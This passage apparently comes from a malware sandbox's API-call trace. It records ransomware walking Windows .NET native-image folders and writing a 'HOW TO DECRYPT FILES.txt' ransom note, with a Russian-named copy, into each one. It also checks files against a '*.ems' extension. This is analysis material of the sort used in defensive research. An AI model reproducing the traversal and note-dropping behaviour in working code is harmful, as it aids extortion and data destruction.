lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.ServiceProce#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#" [0106.475] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1876fd80, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1876fd80, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1876fd80, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.476] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.476] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1876fd80, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1876fd80, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1876fd80, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.476] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.476] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.476] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1876fd80, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1876fd80, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1876fd80, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="20008c75bb41e2febf84d4d4aea5b4e8", cAlternateFileName="20008C~1")) returned 1 [0106.476] lstrcmpA (lpString1=".", lpString2="20008c75bb41e2febf84d4d4aea5b4e8") returned -1 [0106.476] lstrcmpA (lpString1="..", lpString2="20008c75bb41e2febf84d4d4aea5b4e8") returned -1 [0106.477] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\*.*") returned="*.*" [0106.477] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\", lpString2="20008c75bb41e2febf84d4d4aea5b4e8" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8" [0106.477] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1876fd80, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1876fd80, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1876fd80, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.477] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.477] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1876fd80, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1876fd80, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1876fd80, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.477] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.477] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.477] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18723abf, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18723abf, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18723abf, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x34000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceProcess.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.477] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.478] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceProcess.ni.dll") returned -1 [0106.478] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceProcess.ni.dll") returned -1 [0106.478] lstrcmpiA (lpString1="", lpString2="System.ServiceProcess.ni.dll") returned -1 [0106.478] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\*.*") returned="*.*" [0106.478] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\" [0106.478] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\") returned="" [0106.478] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\HOW TO DECRYPT FILES.txt" [0106.478] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.serviceproce#\\20008c75bb41e2febf84d4d4aea5b4e8\\how to decrypt files.txt")) returned 0xffffffff [0106.478] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.serviceproce#\\20008c75bb41e2febf84d4d4aea5b4e8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.501] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.502] CloseHandle (hObject=0x90) returned 1 [0106.502] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\", lpString2="System.ServiceProcess.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\System.ServiceProcess.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\System.ServiceProcess.ni.dll" [0106.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\System.ServiceProcess.ni.dll", pszSpec="*.ems") returned 0 [0106.502] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18723abf, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18723abf, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18723abf, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x34000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceProcess.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.502] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.502] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1876fd80, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1876fd80, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1876fd80, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="20008c75bb41e2febf84d4d4aea5b4e8", cAlternateFileName="20008C~1")) returned 0 [0106.503] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.503] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b162c92, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b162c92, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b162c92, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Speech", cAlternateFileName="SYSTEM~1.SPE")) returned 1 [0106.503] lstrcmpA (lpString1=".", lpString2="System.Speech") returned -1 [0106.503] lstrcmpA (lpString1="..", lpString2="System.Speech") returned -1 [0106.503] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.503] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Speech" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech" [0106.503] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b162c92, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b162c92, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b162c92, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.504] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.504] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b162c92, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b162c92, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b162c92, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.504] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.504] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.504] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b162c92, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b162c92, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b162c92, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6935e1dad6ec5de21658f8d38999099a", cAlternateFileName="6935E1~1")) returned 1 [0106.504] lstrcmpA (lpString1=".", lpString2="6935e1dad6ec5de21658f8d38999099a") returned -1 [0106.504] lstrcmpA (lpString1="..", lpString2="6935e1dad6ec5de21658f8d38999099a") returned -1 [0106.504] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\*.*") returned="*.*" [0106.504] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\", lpString2="6935e1dad6ec5de21658f8d38999099a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a" [0106.504] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b162c92, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b162c92, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b162c92, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.505] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.505] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b162c92, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b162c92, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b162c92, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.505] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.505] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.505] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b07e451, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b07e451, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b0f0872, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1d4400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Speech.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.505] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.505] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Speech.ni.dll") returned -1 [0106.505] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Speech.ni.dll") returned -1 [0106.505] lstrcmpiA (lpString1="", lpString2="System.Speech.ni.dll") returned -1 [0106.505] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\*.*") returned="*.*" [0106.505] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\" [0106.506] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\") returned="" [0106.506] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\HOW TO DECRYPT FILES.txt" [0106.506] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.speech\\6935e1dad6ec5de21658f8d38999099a\\how to decrypt files.txt")) returned 0xffffffff [0106.506] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.speech\\6935e1dad6ec5de21658f8d38999099a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.509] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.509] CloseHandle (hObject=0x90) returned 1 [0106.510] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\", lpString2="System.Speech.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\System.Speech.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\System.Speech.ni.dll" [0106.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\System.Speech.ni.dll", pszSpec="*.ems") returned 0 [0106.510] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b07e451, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b07e451, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b0f0872, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1d4400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Speech.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.510] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.510] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b162c92, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b162c92, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b162c92, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6935e1dad6ec5de21658f8d38999099a", cAlternateFileName="6935E1~1")) returned 0 [0106.510] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.510] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf283c0d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf283c0d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf283c0d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Transactions", cAlternateFileName="SYSTEM~1.TRA")) returned 1 [0106.510] lstrcmpA (lpString1=".", lpString2="System.Transactions") returned -1 [0106.510] lstrcmpA (lpString1="..", lpString2="System.Transactions") returned -1 [0106.510] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.511] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Transactions" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions" [0106.511] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf283c0d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf283c0d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf283c0d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.511] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.511] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf283c0d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf283c0d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf283c0d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.511] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.512] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.512] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf283c0d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf283c0d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf283c0d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ad18f93fc713db2c4b29b25116c13bd8", cAlternateFileName="AD18F9~1")) returned 1 [0106.512] lstrcmpA (lpString1=".", lpString2="ad18f93fc713db2c4b29b25116c13bd8") returned -1 [0106.512] lstrcmpA (lpString1="..", lpString2="ad18f93fc713db2c4b29b25116c13bd8") returned -1 [0106.512] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\*.*") returned="*.*" [0106.512] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\", lpString2="ad18f93fc713db2c4b29b25116c13bd8" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8" [0106.512] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf283c0d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf283c0d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf283c0d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.512] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.512] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf283c0d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf283c0d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf283c0d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.513] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.513] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.513] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2117ed, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf2117ed, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf23794d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x99200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Transactions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.513] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.513] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Transactions.ni.dll") returned -1 [0106.513] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Transactions.ni.dll") returned -1 